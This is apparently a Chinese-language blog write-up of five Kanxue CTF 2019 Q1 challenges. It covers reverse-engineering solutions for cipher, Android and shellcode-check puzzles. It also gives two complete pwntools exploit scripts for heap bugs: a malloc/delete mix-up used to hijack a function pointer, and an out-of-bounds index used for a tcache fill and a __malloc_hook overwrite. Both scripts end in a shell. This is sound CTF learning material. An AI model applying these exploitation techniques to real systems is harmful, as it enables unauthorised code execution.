看雪 CTF 2019 Q1

Catalpa 网络安全爱好者

看雪 CTF 2019 Q1

流浪者

十道题中最简单的一道题目,程序要求输入一个密码,首先判断了密码是否由字母 + 数字组成,然后会将它们进行一步转换,其算法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
for ( i = 0; flag[i]; ++i )
{
if ( flag[i] > '9' || flag[i] < '0' )
{
if ( flag[i] > 'z' || flag[i] < 'a' )
{
if ( flag[i] > 'Z' || flag[i] < 'A' )
sub_4017B0();
else
int_flag[i] = flag[i] - 29;
}
else
{
int_flag[i] = flag[i] - 87;
}
}
else
{
int_flag[i] = flag[i] - 48;
}
}

然后会将经过转换的密码传入另一个函数,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BOOL __cdecl sub_4017F0(int int_flag)
{
BOOL result; // eax
char Str1[28]; // [esp+D8h] [ebp-24h]
int v3; // [esp+F4h] [ebp-8h]
int v4; // [esp+F8h] [ebp-4h]

v4 = 0;
v3 = 0;
while ( *(int_flag + 4 * v4) < 62 && *(int_flag + 4 * v4) >= 0 )
{
Str1[v4] = aAbcdefghiabcde[*(int_flag + 4 * v4)];
++v4;
}
Str1[v4] = 0;
if ( !strcmp(Str1, "KanXueCTF2019JustForhappy") )
result = sub_401770();
else
result = sub_4017B0();
return result;
}

把密码作为下标,从一个硬编码的字符串中取出对应的字符,要求最终拼接的结果是 “KanXueCTF2019JustForhappy”,思路很简单,只需要逆推回去就好了,但是需要注意的是逆推回去的字符有多重排列可能,通过动态调试就可以找出真正的 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
table = "abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ"
target = "KanXueCTF2019JustForhappy"
for i in range(len(target)):
for k in range(len(table)):
if target[i] == table[k]:
print(k)
break
rela = [19,0,27,59,44,4,11,55,14,30,28,29,37,18,44,42,43,14,38,41,7,0,39,39,48]
for i in rela:
print(chr(i + 29) + "\t" + chr(i + 87) + "\t" + chr(i + 48) + "\n")


# j0rXI4bTeustBiIGHeCF70DDM

C 与 C++

程序的主要缺陷在于将 C 和 C++ 的内存分配、回收函数进行了混用,原则上通过 malloc 分配的内存必须使用 free 回收,而不能用 delete 回收,同样的,new 分配的内存只能使用 delete 进行回收,而不能使用 free 回收。

但是题目中同时给出了 malloc、free、new 和 delete,并且没有限制函数的调用,这时就有可能造成一些问题。

主要漏洞在 del 函数,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __fastcall del(__int64 a1)
{
void (***v1)(); // rdx
void (***v2)(); // rbx
void (*v3)(); // rax

v1 = chunk_list[a1];
if ( v1 )
{
v2 = &v1[3 * *(v1 - 1)];
while ( v2 != v1 )
{
while ( 1 )
{
v2 -= 3;
v3 = **v2;
if ( v3 == nullsub_1 )
break;
(v3)(v2); // 任意函数调用
v1 = chunk_list[a1];
if ( v2 == v1 )
goto LABEL_6;
}
}
LABEL_6:
operator delete[](v2 - 1);
}
chunk_list[a1] = 0LL;
}

通过 new 分配的内存中存在一些代码段指针,其值为 0x401228,在 del 函数中对这个地址进行了验证,如果这个地址已经被修改,那么就会调用它指向的代码。现在一个很明显的思路就是想办法修改这个指针,指向我们想要的地址。

由于程序中 C 和 C++ 代码混用的问题,我们可以使用 delete 来回收 malloc 的内存,如果提前在 malloc 出来的内存中伪造好数据,就有可能构造一条函数“调用链”,进而拿到 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# coding=utf-8
from pwn import *

p = process("./candcpp")
libc = ELF("./libc-2.23.so")
context(log_level="DEBUG", arch="amd64", os="linux")

def add(length, content):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("Please input length of the string\n")
p.sendline(str(length))
p.recvuntil("Please input the string\n")
p.sendline(content)

def free(index):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("Please input index of the string\n")
p.sendline(str(index))

def new(length, content):
p.recvuntil(">> ")
p.sendline("3")
p.recvuntil("Please input length of the string\n")
p.sendline(str(length))
p.recvuntil("Please input the string\n")
p.sendline(content)

def delete(index):
p.recvuntil(">> ")
p.sendline("4")
p.recvuntil("Please input index of the string\n")
p.sendline(str(index))


p.recvuntil("Please input your name: ")
p.sendline(p64(0x400e10) + p64(0x4009a0))
add(0x30, "aaaaaaaa")
add(0x400, "bbbbbbbb")
payload = "c" * 548 + p64(0x602328 + 8) + "aaaaaaa" + p64(0x602328)
new(0x300, payload)
# gdb.attach(p)
delete(0)
libc_addr = int(p.recv(14), 16) - libc.symbols["puts"]
log.info("libc_addr: 0x%x" % libc_addr)
one_gadget = libc_addr + 0xf02a4
log.info("one_gadget: 0x%x" % one_gadget)
p.recvuntil("Please input your name: ")
p.sendline(p64(one_gadget))

add(0x30, "aaaaaaaa")
add(0x400, "bbbbbbbb")
payload = "c" * 556 + p64(0x602328 + 8) + "aaaaaaa" + p64(0x602328)
new(0x300, payload)
# gdb.attach(p)
delete(0)

p.interactive()

变形金刚

安卓题目,一开始用 JEB 看,发现主要的代码似乎有些问题,因为行为和真机上操作的并不一样,当密码输入错误时会输出 error,这一点在代码中也没有找到。后来用 APKIDE 查看程序,搜索“用户名或密码为空”这个字符串的时候发现在 android\support\v7\app 目录下面存在一个文件也包含这个字符串,实际上这个才是真正的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package android.support.v7.app;

import android.text.TextUtils;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

class AppCompiatActivity$1
implements View.OnClickListener
{
AppCompiatActivity$1(AppCompiatActivity paramAppCompiatActivity) {}

public void onClick(View paramView)
{
AppCompiatActivity.access$002(this.this$0, AppCompiatActivity.access$100(this.this$0).getText().toString());
AppCompiatActivity.access$202(this.this$0, AppCompiatActivity.access$300(this.this$0).getText().toString());
if ((!TextUtils.isEmpty(AppCompiatActivity.access$000(this.this$0))) && (!TextUtils.isEmpty(AppCompiatActivity.access$200(this.this$0))))
{
paramView = AppCompiatActivity.access$400(this.this$0);
int i = 0;
paramView.setEnabled(false);
if (this.this$0.eq(AppCompiatActivity.access$200(this.this$0)))
{
byte[] arrayOfByte = AppCompiatActivity.access$200(this.this$0).getBytes();
paramView = arrayOfByte;
if (arrayOfByte.length != 24)
{
paramView = new byte[24];
while (i < paramView.length)
{
int j;
if (i < arrayOfByte.length) {
j = arrayOfByte[i];
} else {
j = (byte)i;
}
paramView[i] = ((byte)j);
i++;
}
}
arrayOfByte = AppCompiatActivity.access$500(paramView, "2ggdrsLgM7iPNYPQrD58Rg==".getBytes());
AppCompiatActivity localAppCompiatActivity = this.this$0;
paramView = new StringBuilder();
paramView.append("flag{");
paramView.append(new String(arrayOfByte));
paramView.append("}");
Toast.makeText(localAppCompiatActivity, paramView.toString(), 1).show();
}
else
{
Toast.makeText(this.this$0, "error", 1).show();
}
return;
}
Toast.makeText(this.this$0, "用户名或密码为空", 1).show();
}
}

调用了 liboo000oo.so 这个库,用 IDA 打开发现里面的逻辑很复杂,基本上没办法静态逆向,所以上真机开始动态调试。

调试的时候也踩了很多坑,关键函数代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
int __fastcall sub_CDEAB784(int a1)
{
// ...

s = (*(*a1 + 0x2A4))();
v1 = strlen(a650f909c721736);
v2 = malloc(v1);
v3 = malloc(v1);
v4 = malloc(v1);
_aeabi_memclr(v2, v1);
_aeabi_memclr(v3, v1);
_aeabi_memclr(v4, v1);
if ( v1 )
{
v5 = 0;
v6 = v1;
v7 = a650f909c721736;
do
{
v8 = *v7++;
if ( v8 != '-' )
v3[v5++] = v8; // 每个字符自增 1
--v6;
}
while ( v6 );
if ( v5 >= 1 )
{
v9 = v5 - 1;
v10 = -8;
v11 = 0;
v12 = 0;
do
{
if ( (v11 | (v10 >> 2)) > 3 )
{
v13 = v12;
}
else
{
v13 = v12 + 1;
v2[v12] = 45;
}
v14 = v3[v9--];
v11 += 0x40000000;
v2[v13] = v14;
++v10;
v12 = v13 + 1;
}
while ( v9 != -1 );
if ( v13 >= 0 )
{
v15 = v4;
while ( 1 )
{
v16 = *v2;
if ( (v16 - 'a') <= 5u )
break;
if ( (v16 - '0') <= 9u )
{
v16 = &aDbeafc24097158[v16 - 42];
goto LABEL_18;
}
LABEL_19:
*v15++ = v16;
--v12;
++v2;
if ( !v12 )
goto LABEL_20;
}
v16 = &aDbeafc24097158[v16 - 'a'];
LABEL_18:
LOBYTE(v16) = *v16;
goto LABEL_19;
}
}
}
LABEL_20:
_aeabi_memcpy8(v46, &unk_CDEAD3E8, 256);
v17 = v47;
v18 = 0;
do
{
sub_CDEABD20(v18, v1);
v47[v18++] = v4[v19];
}
while ( v18 != 256 );
v20 = (v47[0] - 41);
v46[0] = v46[v20];
v46[v20] = -41;
v21 = 1;
do
{
v22 = v46[v21];
v20 = (v20 + v47[v21] + v22) % 256;
v46[v21++] = v46[v20];
v46[v20] = v22;
}
while ( v21 != 256 );
v23 = strlen(s);
v24 = v23;
v25 = v4[3];
v43 = 8 * (3 - -3 * (v23 / 3));
v42 = v25 + v43 / 6;
v26 = malloc(v42 + 1);
if ( v24 )
{
v28 = 0;
v29 = 0;
v30 = 0;
v44 = v25;
do
{
v28 = (v28 + 1) % 256;
v35 = v46[v28];
v30 = (v30 + v35) % 256;
v46[v28] = v46[v30];
v46[v30] = v35;
v17 = v46[v28];
v36 = v46[(v35 + v17)] ^ s[v29];
if ( v29 && (v27 = 0xAAAAAAAB * v29 >> 32, v37 = 3 * (v29 / 3), v37 != v29) )
{
v31 = v29 == 1;
if ( v29 != 1 )
v31 = v37 + 1 == v29;
if ( v31 )
{
v32 = aAbcdefghijklmn;
v26[v44 + v29] = aAbcdefghijklmn[v26[v44 + v29] | (v36 >> 4)];
v17 = &v26[v44 + v29];
v27 = 4 * v36 & 0x3C;
v17[1] = v27;
if ( v29 + 1 >= v24 )
goto LABEL_53;
}
else
{
v33 = v29 == 2;
if ( v29 != 2 )
v33 = v37 + 2 == v29;
if ( v33 )
{
v17 = (v36 & 0xC0);
v34 = v44++ + v29;
v26[v34] = aAbcdefghijklmn[v26[v34] | (v17 >> 6)] ^ 0xF;
v27 = &v26[v34];
*(v27 + 1) = aAbcdefghijklmn[v36 & 0x3F];
}
}
}
else
{
v26[v44 + v29] = aAbcdefghijklmn[v36 >> 2] ^ 7;
v17 = &v26[v44 + v29];
v27 = 16 * v36 & 0x30;
v17[1] = v27;
if ( v29 + 1 >= v24 )
{
v38 = aAbcdefghijklmn[v27];
*(v17 + 1) = ';;';
goto LABEL_43;
}
}
++v29;
}
while ( v29 < v24 );
}
while ( 1 )
{
if ( v43 )
{
v32 = 1;
v17 = v42;
v39 = &byte_CDEAD4E8;
do
{
v27 = v26[v25++];
v40 = *v39++;
if ( v40 != v27 )
v32 = 0;
}
while ( v25 < v42 );
}
else
{
v32 = 1;
}
v26 = (_stack_chk_guard - v48);
if ( _stack_chk_guard == v48 )
break;
LABEL_53:
v38 = v32[v27];
v17[2] = '4';
LABEL_43:
v17[1] = v38;
}
return v32;
}

乍一看很像 BASE 64 算法,而且还给出了“表盘”和密文

1
2
3
!:#",0x24,"%&()+-*/`~_[]{}?<>,.@^abcdefghijklmnopqrstuvwxyz01234

{9*8ga*l!Tn?@#fj'j$\g;;

但是找了很多 BASE64 算法(各种语言的都试了一次),没有一个能够正常解码,后来通过调试仔细分析了一下代码,发现算法虽然和 BASE64 很像,但是里面夹杂了额外的操作,例如异或和移位等等,将算法整理出来,然后编写了一个 python 脚本尝试解密成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
enc = r" {9*8ga*l!Tn?@#fj'j$\g;;"
table = r"!:#$%&()+-*/`~_[]{}?<>,.@^abcdefghijklmnopqrstuvwxyz0123456789\';"
for x in range(0x100):
for y in range(0x100):
for z in range(0x100):
if((ord(table[x >> 2]) ^ 7) == ord(enc[20]) and \
ord(table[((16 * x) & 48) | (y >> 4)]) == ord(enc[21]) and \
(ord(table[((4 * y) & 0x3c) | (z >> 6)]) ^ 0xf) == ord(enc[22]) and \
ord(table[z & 0x3f]) == ord(enc[23])):
print(chr(x ^ 0x08),chr(y ^ 0x38),chr(z ^ 0x90))

# fu0kzHp2aqtZAuY64

for x in range(0x100):
for y in range(0x100):
if((ord(table[x >> 2]) ^ 7) == ord(enc[20]) and \
ord(table[((16 * x) & 48) | (y >> 4)]) == ord(enc[21])):
print(chr(x ^ 0x08),chr(y ^ 0x38))
# 三个字符转4个字符,内部数据需要手动转换

最后可以解出密码为 fu0kzHp2aqtZAuY64

拯救单身狗

这是一道比较简单的 pwn 题,其主要漏洞点在编辑堆块的时候 index 会越界。我们可以利用越界的指针去修改其他堆块,例如 edit_singledog 却修改了 luckydog。

题目的一大坑点在于没有给出 libc,也就是说 2.23 和 2.27 两个版本都有可能,我一开始编写了 2.23 的利用脚本,本地测试通过,但是拿到远程服务器就会崩溃,检查原因是地址没有正确的泄露,猜测远程服务器是 2.27 版本的 libc,由于 2.27 存在 tcache 机制,所以需要先将 tcache 填满。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
# coding=utf-8
from pwn import *

p = process("./apwn")
libc = ELF("./libc-2.27.so")
context(log_level="DEBUG", arch="amd64", os="linux")

def add_single(name):
p.recvuntil(">>\n")
p.sendline("1")
p.recvuntil("Name:\n")
p.sendline(name)

def add_lucky(name, name2):
p.recvuntil(">>\n")
p.sendline("2")
p.recvuntil("Name")
p.sendline(name)
p.recvuntil("your partner's name\n")
p.sendline(name2)

def edit_single(index, name):
p.recvuntil(">>\n")
p.sendline("3")
p.recvuntil("which?\n")
p.sendline(str(index))
p.recvuntil("Oh,singledog,changing your name can bring you good luck.\n")
p.sendline(name)

def edit_lucky(index, name, name2):
p.recvuntil(">>\n")
p.sendline("4")
p.recvuntil("which?\n")
p.sendline(str(index))
p.recvuntil("Oh,luckydog,What is your new name?\n")
p.sendline(name)
p.recvuntil("your partner's new name\n")
p.sendline(name2)

def save():
p.recvuntil(">>\n")
p.sendline("5")

add_single("aaaaaaaa") # 0
add_lucky("bbbbbbbb", "cccccccc")
edit_single(80, "")
p.recv(11)
heap_addr = u64(('\x00' + p.recv(5)).ljust(8, '\x00')) - 0x200
log.info("heap_addr : 0x%x" % heap_addr) # leak heap_addr
#edit_single(80, p64(heap_addr + 0x6d0)) # recover chunk_in_lucky struct
# gdb.attach(p)
add_single("aaaaaaaa") # 1
add_single("aaaaaaaa") # 2
add_single("aaaaaaaa") # 3

add_single("aaaaaaaa") # 4
add_single("aaaaaaaa") # 5
add_single("aaaaaaaa") # 6

add_single("aaaaaaaa") # 7
add_single("aaaaaaaa") # 8
add_single("aaaaaaaa") # 9

add_single("aaaaaaaa") # 10
add_single("aaaaaaaa") # 11
add_single("aaaaaaaa") # 12

add_single("aaaaaaaa") # 13
add_single("aaaaaaaa") # 14
add_single("aaaaaaaa") # 15

add_single("aaaaaaaa") # 16
add_single("aaaaaaaa") # 17
add_single("aaaaaaaa") # 18

add_single("aaaaaaaa") # 19
add_single("aaaaaaaa") # 20
add_single("aaaaaaaa")

add_single("aaaaaaaa")
add_single("aaaaaaaa")
add_single("aaaaaaaa")

edit_single(80, p64(heap_addr + 0x6c0 - 0x410)) # sub lucky_name2 pointer 0x10
edit_lucky(0, "fuckfuck", p64(0) + p64(0x91))
edit_single(80, p64(heap_addr + 0x6d0 - 0x410))
# gdb.attach(p)
save()

edit_single(80, p64(heap_addr + 0x750 - 0x410)) # sub lucky_name2 pointer 0x10
edit_lucky(0, "fuckfuck", p64(0) + p64(0x91))
edit_single(80, p64(heap_addr + 0x760 - 0x410))
save()

edit_single(80, p64(heap_addr + 0x7e0 - 0x410)) # sub lucky_name2 pointer 0x10
edit_lucky(0, "fuckfuck", p64(0) + p64(0x91))
edit_single(80, p64(heap_addr + 0x7f0 - 0x410))
save()

edit_single(80, p64(heap_addr + 0x870 - 0x410)) # sub lucky_name2 pointer 0x10
edit_lucky(0, "fuckfuck", p64(0) + p64(0x91))
edit_single(80, p64(heap_addr + 0x880 - 0x410))
save()

edit_single(80, p64(heap_addr + 0x900 - 0x410)) # sub lucky_name2 pointer 0x10
edit_lucky(0, "fuckfuck", p64(0) + p64(0x91))
edit_single(80, p64(heap_addr + 0x910 - 0x410))
save()

edit_single(80, p64(heap_addr + 0x990 - 0x410)) # sub lucky_name2 pointer 0x10
edit_lucky(0, "fuckfuck", p64(0) + p64(0x91))
edit_single(80, p64(heap_addr + 0x9a0 - 0x410))
save()

edit_single(80, p64(heap_addr + 0xa20 - 0x410)) # sub lucky_name2 pointer 0x10
edit_lucky(0, "fuckfuck", p64(0) + p64(0x91))
edit_single(80, p64(heap_addr + 0xa30 - 0x410))
save()

edit_single(80, p64(heap_addr + 0xab0 - 0x410)) # sub lucky_name2 pointer 0x10
edit_lucky(0, "fuckfuck", p64(0) + p64(0x91))
edit_single(80, p64(heap_addr + 0xac0 - 0x410))
save()

add_single("")
# gdb.attach(p)

edit_single(17, "")
p.recv(10)
libc_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x3ebd0a
log.info("libc_addr : 0x%x" % libc_addr) # leak necessary address
malloc_hook = libc_addr + libc.symbols["__malloc_hook"]
one_gadget = libc_addr + 0x10a38c
log.info("malloc_hook : 0x%x" % malloc_hook)
log.info("one_gadget : 0x%x" % one_gadget)

edit_single(80, p64(malloc_hook))
edit_lucky(0, "fuckfuck", p64(one_gadget))
# gdb.attach(p)
p.recvuntil(">>\n")
p.sendline("1")
p.interactive()

影分身之术

拿到题目上网搜索了一下,和某年的题目很相似,按照网上的 wp,将程序中屏蔽右键菜单的函数进行 patch,然后运行程序通过查看源代码得到一段 js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<script>
function sptWBCallback(spt_wb_id, spt_wb_name, optionstr) {
url = '#sptWBCallback:id=';
url = url + spt_wb_id + ';eventName=' + spt_wb_name;
if (optionstr) url = url + ';params=optionstr';
location = url;
}
function ckpswd() {
key = "simpower91";
a = document.all.pswd.value;
if (a.indexOf(key) == 0) {
l = a.length;
i = key.length;
sptWBCallback(a.substring(i, l));
} else {
alert("wrong!<" + a + "> is not my GUID ;-)");
return "1234";
}
}
function ok() {
alert("congratulations!");
}
</script>
CTF 2019&reg;
<center>
<br>
<br>
<br>
<input value="" id="pswd" size=39></input>
<br>
<br>
<br>
<input type=button value="checkMyFlag" onclick="ckpswd();">
</center>

从 js 里面看到一部分代码逻辑,首先 key 是由 simpower91 开头,后跟一定长度的其他字符,验证正确之后会调用 sptWBCallback 函数,这个函数负责与程序中的原生代码进行交互,它会将 simpower91 进行剔除,只留下剩余的字符到程序中进行下一步验证。

通过动态调试分析,00492088 处的函数用来处理 sptWBCallback 发送的请求,其内部调用了一个隐藏函数,静态分析不能确定它的地址,通过调试得到隐藏函数的地址为 00493F70,简单分析一下这个函数可以得知我们的输入为 4 个字节

这个函数又调用了很多其他函数,我动态调试了很久也没有看懂在做些什么,于是换了一种思路,当程序获取到输入的时候,在相应的内存区域下硬件断点,F9 几次来到 0047162C 函数内部,从这里开始去我们输入的字符串进行了一堆看不懂的操作,不过在 0x94000 地址附近我发现了一些动态生成的数据,而且程序进入了某种循环当中,每次循环都会对这里的数据进行一些操作。

直到一条 long jmp 指令,会将程序执行流定位到这段数据中,这时我才发现所谓的数据原来是一段动态生成的 shellcode,其功能是将每个字符加上 0x7f,之后会和预置的数据进行对比。那么通过单步跟踪找到这 4 组数据解密就可以得到真正的密码。

最终得到 flag :simpower91a123

  • Title: 看雪 CTF 2019 Q1
  • Author: Catalpa
  • Created at : 2019-03-11 00:00:00
  • Updated at : 2024-10-17 08:51:04
  • Link: https://wzt.ac.cn/2019/03/11/kanxue2019Q1/
  • License: This work is licensed under CC BY-SA 4.0.